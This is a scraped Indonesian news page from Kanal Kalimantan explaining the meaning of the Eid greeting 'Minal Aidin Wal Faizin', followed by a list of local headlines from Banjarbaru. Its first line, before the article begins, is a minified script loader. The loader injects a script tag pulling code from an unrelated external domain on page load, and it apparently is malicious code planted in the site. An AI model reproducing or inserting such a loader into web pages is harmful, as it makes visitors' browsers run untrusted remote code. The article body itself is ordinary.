(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
RELIGI

Makna Minal Aidin Wal Faizin yang Diucapkan saat Lebaran


KANALKALIMANTAN.COM – Salah satu kalimat yang sering diucapkan saat hari raya Idul Fitri adalah “Minal Aidin Wal Faizin”. Lalu apa makna Minal Aidin Wal Faizin yang perlu diketahui? Berikut ulasan selengkapnya.

Kalimat tersebut memiliki makna menyambut hari kemenangan umat Islam dan ucapan saling memaafkan. Padahal bukan demikian makna Minal Aidin Wal Faizin yang sebenarnya menurut bahasa.

Makna Minal Aidin Wal Faizin

Dikutip dari buku “Kisah dan Hikmah Kehidupan Lentera Hati” oleh Quraish Shihab (1994), secara bahasa minal aidin dapat diartikan dengan “(semoga kita) termasuk orang-orang yang kembali”. Arti kembali adalah kembali kepada fitrah, yaitu kesucian atau agama yang benar.

Meskipun telah menjadi kebiasaan umum masyarakat saat Lebaran mengucapkan kalimat Minal Aidin Wal Faizin, namun makna yang terkandung di dalam ucapan tersebut bukanlah “mohon maaf lahir dan batin”.

Dahulu para sahabat Nabi mengucapkan selamat (tahniah) kepada umat muslim dengan mengucapkan “Taqabbalallahu minna wa minkum” atau “Taqabbal yaa kariim, wa ja’alanaallahu wa iyyakum minal aidiin wal faaiziin” dan ditambahkan “wal maqbuulin kullu ammin wa antum bi Khair”.

Jika dirangkai secara utuh menjadi “Taqabbal yaa kariim, wa ja’alanaallahu wa iyyakum minal aidiin wal faaiziin. wal maqbuulin kullu ammin wa antum bi Khair”

Artinya: Semoga Allah menerima (amal ibadah Ramadhan) kami dan kamu. Wahai Allah Yang Maha Mulia, terimalah! Dan semoga Allah menjadikan kami dan kamu termasuk orang-orang yang kembali dan orang-orang yang menang serta diterima (amal ibadah). Setiap tahun semoga kamu senantiasa dalam kebaikan.

Sehingga diketahui kalimat Minal Aidin Wal Faizin merupakan kalimat ringkasan atau penyederhanaan yang memiliki arti “termasuk orang-orang yang kembali dan orang-orang yang menang”.

Apabila Anda ingin mencontoh kalimat selamat yang dilakukan para sahabat Nabi, sebaiknya mengucapkan kalimat secara utuh di atas atau mengucapkan “Taqabbalallahu minna wa minkum” yang struktur kalimat dan artinya telah sempurna.

Demikian makna Minal Aidin Wal Faizin yang seringkali diucapkan saat menyambut hari raya Idul Fitri.(suara.com)

 

 

 


Al Ghifari

Recent Posts

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

8 menit ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

3 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

4 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

5 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

5 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

19 jam ago

This website uses cookies.